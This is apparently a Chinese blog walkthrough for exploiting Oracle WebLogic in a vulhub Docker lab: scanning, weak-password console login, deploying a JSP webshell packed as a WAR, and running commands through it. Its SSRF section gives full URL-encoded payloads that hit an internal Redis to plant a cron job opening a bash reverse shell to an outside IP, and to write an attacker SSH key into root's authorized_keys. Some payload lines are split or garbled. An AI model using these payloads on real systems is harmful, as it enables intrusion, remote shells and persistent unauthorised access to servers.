跳至正文

weblogic漏洞搭建与利用

22

逻辑

  • 确认weblogic框架
  • 是否有弱口令漏洞
  • 是否有ssrf漏洞
  • 脚本扫
  • url注入shell、ssh
  • 注意的点：weblogic 漏洞利用目录、漏洞利用页面

漏洞环境搭建

docker pull vulhub/weblogic:10.3.6.0-2017
docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

默认端口

7001

默认界面

blog22

默认控制台

ip:port/console

weblogic漏洞通过脚本扫描

python WeblogicScan.py -u 127.0.0.1 -p 7001           
python WeblogicScan.py -f target.txt             批量检测

常用弱口令

https://cirt.net/passwords?criteria=weblogic

打包 war 包

蚁剑生成webshell文件

jar -cvf cmd.war cmd.jsp        本地用java编译

将编译好的文件上传‘部署’          
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/

蚁剑连接webshell

Getshell 执行

http://ip:port/cmd/cmd.jsp?cmd=ls
  • 注: 可以使用webshell连接工具

weblogic的ssrf漏洞

# hackbar 发送以下包 向目标主机发起端口请求，查看是否可以响应

rdoSearch=name

&txtSearchname=sdf

&txtSearchkey=

&txtSearchfor=

&selfor=Business+location

&btnSubmit=Search

&operator=http:ip:port

ssrf漏洞利用获得shell

# 攻击redis,在攻击机上获得redis服务器的shell

/uddiexplorer/SearchPublicRegistries.jsp?

operator=http://172.18.0.1:6379/test%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5C

n%5Cn*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-

i%20>%26%20%2Fdev%2Ftcp%2F47.101.214.85%2F1234%200>%261%5Cn%5Cn%5Cn%5Cn%

22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%2F%0D%0Aco

nfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&t

xtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&bt

nSubmit=Search

* 注：URL解码，攻击机开放nc -lnvp <port>
# 写入ssh密钥（/root/.ssh），前提是目标机器开放ssh服务

/uddiexplorer/SearchPublicRegistries.jsp?

operator=http: ˌ 172.18.0.1:6379/test%0D%0A%0D%0Aset%20xx%20%22%5Cn%5Cn%5

Cn%5Cnssh

rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQDV14i/SITCBQjzb%2B8xL0vwGwKjnMEQiarT

xdVokFToK0Xw99m0eJwKV3WcTQgSykHA2rFxbQw%2Fv9IVx89bAzX0iOBAU8jF%2B9oH5KE9

KBzM%2FT1Vr3DDwmNny2qYCfizO9jJ90fr3DUeXWwl%2BD24XiKfkDzlDly9LgEYxXl%2FCI

gZ91QcTA0UeSBLXCgigVLKhDNZGGBqMFrGNUsj0esNJr7pJsYEnIn%2BN5BtnUWEce1KERlG

DiwvzRpyFvOKgQpEAiS%2BR781GSsAsJsCQz8OFge6lx0iSMNZ6TWjkQYKlnTkQvzOo%2FZh

INtItYziRXJKmNQLdPpQ7OYo2WOQ4TIDFtR5%20root@iZuf6jc5pa52ijq06q5f1lZ%5Cn%

5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Froot%2F.ssh%0D%0Aconfig%20se

t%20dbfilename%20authorized_keys%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name

&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business%2Blocatio

n&btnSubmit=Search
标签: